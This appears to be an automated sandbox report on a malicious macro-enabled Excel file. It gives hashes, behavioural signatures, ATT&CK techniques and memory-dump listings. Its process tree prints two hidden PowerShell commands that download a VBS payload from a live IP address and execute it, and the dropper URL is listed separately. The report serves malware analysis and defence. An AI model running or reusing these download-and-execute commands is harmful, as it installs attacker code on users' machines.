484c0b7849b80fcf9ef6c8bfd5435671858eae263db624132e5f89e16a225e78

Resubmissions

15/09/2026, 11:29

260915-nlkgaatzg1

07/08/2026, 14:21

07/08/2026, 14:20

06/08/2026, 22:19

06/08/2026, 22:01

06/08/2026, 03:44

10/07/2026, 00:11

Analysis

max time kernel
299s
max time network
136s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/08/2026, 14:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
484c0b7849b80fcf9ef6c8bfd5435671858eae263db624132e5f89e16a225e78.xlsm
Size 411KB
Sample260807-rn2ecsfm2v
SHA256 484c0b7849b80fcf9ef6c8bfd5435671858eae263db624132e5f89e16a225e78
MD5 b430c7ad70cf8acf00c3399041d0e90a
SHA1 162f4ba878f11c824c88760ad3322f7b85a99a51
SHA512 27e4d4c6cfbac4ab1a717f3a8c56be98f7456b003fb294f29ab41f8012522bfde4c74519ebcbcc00cc23344614f9e927b65e79423884d1a623db16575f0eb8df
SSDEEP 12288:G49w8fyunGthwu8kxPthZugvq4jzjSGUu9M:G49b7AhFxPthZnvL3tq
TLSH
T10094233FD298BE8ECAF3EA7D8D458AE7231653DD339078BA686C8484065F12DC071D95
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://185.242.105.116/utnl/e-remit.vbs

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1612	4836	powershell.exe	88
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	5856	4836	powershell.exe	88

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1612	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1612	powershell.exe
5856	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4836	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1612	powershell.exe
1612	powershell.exe
5856	powershell.exe
5856	powershell.exe
5856	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1612	powershell.exe
Token: SeDebugPrivilege	5856	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4836	EXCEL.EXE
4836	EXCEL.EXE

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
4836	EXCEL.EXE
4836	EXCEL.EXE
4836	EXCEL.EXE
4836	EXCEL.EXE
4836	EXCEL.EXE
4836	EXCEL.EXE
4836	EXCEL.EXE
4836	EXCEL.EXE
4836	EXCEL.EXE
4836	EXCEL.EXE
4836	EXCEL.EXE
4836	EXCEL.EXE
4836	EXCEL.EXE
4836	EXCEL.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4836 wrote to memory of 1612	4836	EXCEL.EXE	90
PID 4836 wrote to memory of 5856	4836	EXCEL.EXE	92

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\484c0b7849b80fcf9ef6c8bfd5435671858eae263db624132e5f89e16a225e78.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://185.242.105.116/utnl/e-remit.vbs',$env:Temp+'\outlook.vbs')
  2⤵
  - Process spawned unexpected child process
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -executionpolicy bypass -W Hidden -command (New-Object -com Shell.Application).ShellExecute($env:Temp+'\outlook.vbs')
  2⤵
  - Process spawned unexpected child process
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5856

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1ef952a311c8878fc61fad67d7bcb534aba217499233d501ac1b77518c042e86
MD5 eb8d4d070326aa017a3550aa2e2e0aa0
SHA1 b209f6bbe47c92c704a3b3e466d4c61bbf9f8f7f
SHA512 ad744e00891baacd957d5a775403ee4e9078769f35427eabc532d4ded61c489a3d34e5565c3b9bd7c26313d8691d51dceeb49a9bed36e46fe73cca6c0c490a57
TLSH
T1FD215733F3CC8624DC9A413650CEAC1136B687DB409FCE6BAB84D558B42F699DE60160
MD5 SHA1 SHA512 TLSH

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 6KB
SHA256 8d35587c2cc1251daa502dcc8928d6def9eaa38f68200873daa2657d062e4c46
MD5 0e2bf8c6bb27f28018510ccb13dd4ce7
SHA1 d7adcde6011202aeee1d176b7ce2e420ea8b0ca1
SHA512 c486d42121aa8432767df665e5ad86c84372b22734e300b2d3fa491199549b611b617026a9aeabbc3450a4bb19a529f1335eba1996df5633b05866e27303103e
SSDEEP 96:9mQC+ocFukvhkvCCtJ4wMnkEIeQH74B6nkEIiQH74Bx:9mGxc6wMkZeBB6kZiBBx
TLSH
T104D1881067F10719E1B79F7A68BAB721A636F905EF07DBCF4340911A9C30621E93872B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 6KB
SHA256 ecce92eb82413fcfb0a14642b35cf5265e4b6063d8a907a98169680ba835cf57
MD5 75dc038efdd175dad7faa977528f4841
SHA1 1153d1ec8393f4c39e6f337c78352e2002487002
SHA512 af7a5d17dd4c05f5911af836379f1e944a95d8883ca742f5af971c6270cdb3143e35fa3fea5fb86b650beef4dcf896e4700cf7f8e62382109c34639dbd4424b9
SSDEEP 96:hmVC+hRFukvhkvCCtJ4wMnkEIiQH74B6nkEIiQH74Bx:hmrHc6wMkZiBB6kZiBBx
TLSH
T1CED1881067F10719E1B79F7A68BAB721A636F905EF07DBCF434091199C30621E93972B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

b8ab77100df80ab2.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Size 1KB
SHA256 88c47b2b6ff7ce86de3f854c77430b8dce73f37b6eef954994eea77e34de0ffc
MD5 9151e503755e8f82699045c2fe87fa55
SHA1 9cce5d0feefc49ebcd38650480163bc3d8a3cbf3
SHA512 ebf89e3e7917d68eceb4003f59ff017d19004e97299668a04f177de36b83aebd33de3197ebd949d4073af2dcf3c3dd1fc0e1203c01b057f220646c98ac31f83f
TLSH
T15B21A0019E831B6BC025A6321B3E5346DA70B813E634C65E9384622A6F748109D9EB2B
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1612-40-0x0000027065500000-0x0000027065522000-memory.dmp

Download

memory/4836-5-0x00007FF8AA2C0000-0x00007FF8AA2D0000-memory.dmp

Download

memory/4836-34-0x00007FF8EA180000-0x00007FF8EA3E3000-memory.dmp

Download

memory/4836-8-0x00007FF8EA180000-0x00007FF8EA3E3000-memory.dmp

Download

memory/4836-10-0x00007FF8EA180000-0x00007FF8EA3E3000-memory.dmp

Download

memory/4836-9-0x00007FF8EA180000-0x00007FF8EA3E3000-memory.dmp

Download

memory/4836-7-0x00007FF8EA180000-0x00007FF8EA3E3000-memory.dmp

Download

memory/4836-11-0x00007FF8EA180000-0x00007FF8EA3E3000-memory.dmp

Download

memory/4836-12-0x00007FF8EA180000-0x00007FF8EA3E3000-memory.dmp

Download

memory/4836-13-0x00007FF8A7DA0000-0x00007FF8A7DB0000-memory.dmp

Download

memory/4836-14-0x00007FF8A7DA0000-0x00007FF8A7DB0000-memory.dmp

Download

memory/4836-29-0x00007FF8EA180000-0x00007FF8EA3E3000-memory.dmp

Download

memory/4836-0-0x00007FF8AA2C0000-0x00007FF8AA2D0000-memory.dmp

Download

memory/4836-35-0x00007FF8EA180000-0x00007FF8EA3E3000-memory.dmp

Download

memory/4836-6-0x00007FF8EA180000-0x00007FF8EA3E3000-memory.dmp

Download

memory/4836-42-0x00007FF8EA180000-0x00007FF8EA3E3000-memory.dmp

Download

memory/4836-43-0x00007FF8EA180000-0x00007FF8EA3E3000-memory.dmp

Download

memory/4836-4-0x00007FF8AA2C0000-0x00007FF8AA2D0000-memory.dmp

Download

memory/4836-3-0x00007FF8AA2C0000-0x00007FF8AA2D0000-memory.dmp

Download

memory/4836-2-0x00007FF8AA2C0000-0x00007FF8AA2D0000-memory.dmp

Download

memory/4836-53-0x00007FF8EA180000-0x00007FF8EA3E3000-memory.dmp

Download

memory/4836-54-0x00007FF8EA180000-0x00007FF8EA3E3000-memory.dmp

Download

memory/4836-1-0x00007FF8EA2DF000-0x00007FF8EA2E0000-memory.dmp

Download